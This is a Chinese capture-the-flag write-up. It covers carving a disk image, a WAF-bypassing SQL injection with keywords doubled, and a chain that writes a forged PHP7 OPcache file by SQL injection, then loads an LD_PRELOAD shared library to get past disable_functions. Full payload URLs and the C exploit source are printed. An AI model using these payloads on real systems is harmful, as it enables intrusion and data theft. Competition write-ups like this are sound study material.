file = open('xxdisk.bin', 'rb')data = file.read()out = open('extract', 'wb')out.write(data[0x5024+(0x333<<9):0x5024+(0x333<<9)+512])out.write(data[0x5024+(0x32c<<9):0x5024+(0x32c<<9)+512])out.write(data[0x5024+(0x32d<<9):0x5024+(0x32d<<9)+512])out.write(data[0x5024+(0x324<<9):0x5024+(0x324<<9)+512])out.write(data[0x5024+(0x325<<9):0x5024+(0x325<<9)+512])out.write(data[0x5024+(0x326<<9):0x5024+(0x326<<9)+512])out.close()
抽取出来之后是一个压缩包,然而在ubuntu下怎么都解压不了,然后队友把它丢到windows中用winrar一下就解压出来了,在解压出来的文件中得到flag
Find password
根据题目信息,大意就是让我们去找HHHH这个用户的密码,注册时候发现任意注册HHHH,登陆进去:
http://114.55.1.176:4458/detail.php?user_name这里发现存在注入,然后发现有waf,经过测验,发现select,or,and等等需要双写绕过,最后payload :
http://114.55.1.176:4458/detail.php?user_name=-2%27%0Aununionion%0Aselselectect%0Auser_pass,2,3,4%0Afrfromom%0Atest.users%0Aununionion%0Aselselectect%0A1,2,3,4%0Aoorr%0A%271
拿到flag:
Homework
开始又是注入= =
随手注册一个用户,进去以后,发现可以任意上传文件,不过不能getshell,没有太大用处。在文件描述那里发现存在注入:
很友好地没有多少过滤。然后走坑之旅开始。发现利用outfile这些可以写东西,但是也没有太大的用处,于是,fuzz了下,发现存在info.php和phpinfo.php,info大致提示我们flag在根目录下,不用去找了,再次贴心,接着看下phpinfo,居然是php7,想起了前阵子的漏洞: http://drops.wooyun.org/web/15450:利用 PHP7 的 OPcache 执行 PHP 代码。
当然这里必须要有一个上传漏洞才能去配合这个漏洞,一开始已经说了可以任意上传,当然包括php,我们知道缓存是优于其本体,而我们可以注入写文件,phpinfo也已经告诉了我们一些敏感路径,于是思路很明确了:
但是写的时候,我们会发现,如果用outfile写的话,mysql会把16进制的一些东西转换,导致面目全非,于是利用dumpfile可以很好的解决这一个问题,于是先探针下,最终payoad:
http://121.40.50.146/detail.php?id=-1%27%20union%20select%20unhex(’4F504341434845003339623030356164373734323863343237383831343063363833396536323031C002000000000000000000000000000000000000000000000000000000000000EF0D070F190D0000A8010000000000000200000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF040000004002000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000A80100000000000001000000020000000000000000000000FFFFFFFF020000000002000000000000080000005858354F00000000000000000000000000000000000000000000000000000000000000000000000000000000010000000700000012000000FEFFFFFF0000000000000000000000000000000000080000FFFFFFFF000000000000000020610689AC7F0000010000000700000012000000FEFFFFFF0000000000000000000000000000000010000000FFFFFFFF0000000000000000B0590689AC7F000000000000000000000000000000000000000000000000000001000000000000000000000000000000C002000000000000000200000000000000000000000000000000000000000000000000000000000000000000660DC4980000000000000000040000000606000019C2A9A742FDC1F029000000000000002F7661722F7777772F68746D6C2F75706C6F61642F32303136303630353132353733372D312E706870000000000000000000000000000000000000000000000020020000000000000600000000000000010000000000000004000000FFFFFFFF0100000006060000F9E0F8ABB5D000800700000000000000706870696E666F00C0E10E89AC7F000060000000000000000000000000000000020000003D080108E0A10E89AC7F000000000000000000006000000000000000020000003C08080480EE0B89AC7F000060000000000000000000000000000000020000002804080880570F89AC7F0000100000000000000000000000FFFFFFFF020000003E010808′)%20into%20dumpfile%20%27/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/20160605125737-1.php.bin%27–+
访问下ok:
OK,题目第一关已经成功过坑,看下disable-functions:
限制好死。。。觉得无望了。。。但是传了一句话后,不知道为什么eval可以执行:
然后找bypass的资料,在drop发现这么一个科技:
http://drops.wooyun.org/tips/16054利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令。然后瞬间有些懵逼地样子,so是什么玩意,作为一只web狗只看过没接触过,好在文章写得比较容易明白,根据文章的思路,就是我们可以编译so,然后利用php去访问,从而绕过php的诸多限制,也就是说我们利用c的函数去列目录读文件之类的,payload如下:
#include <dirent.h>#include <stdio.h>#include <stdlib.h>#include <string.h>void payload(){ DIR* dir; struct dirent* ptr; dir = opendir("/"); FILE *fp; fp=fopen("/tmp/venenoveneno","w"); while ((ptr = readdir(dir)) != NULL) { fprintf(fp,"%s\n",ptr->d_name); } closedir(dir); fflush(fp);}int geteuid(){ if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload();}
然后gcc编译成so,然后根据前面的点,我们明白了出题人的思路:
做到这里,还有题目最后一个坑,就是生成的东西没权限去读,那么怎么办,于是前面传的shell用了用处,我们可以利用copy命令,去覆盖一个我们之前上传的bin,于是直接列目录:
然后再利用loadfile读就可以了:
发现flag,然后再进行一次类似操作,利用fopen去读文件,最后成功得到flag: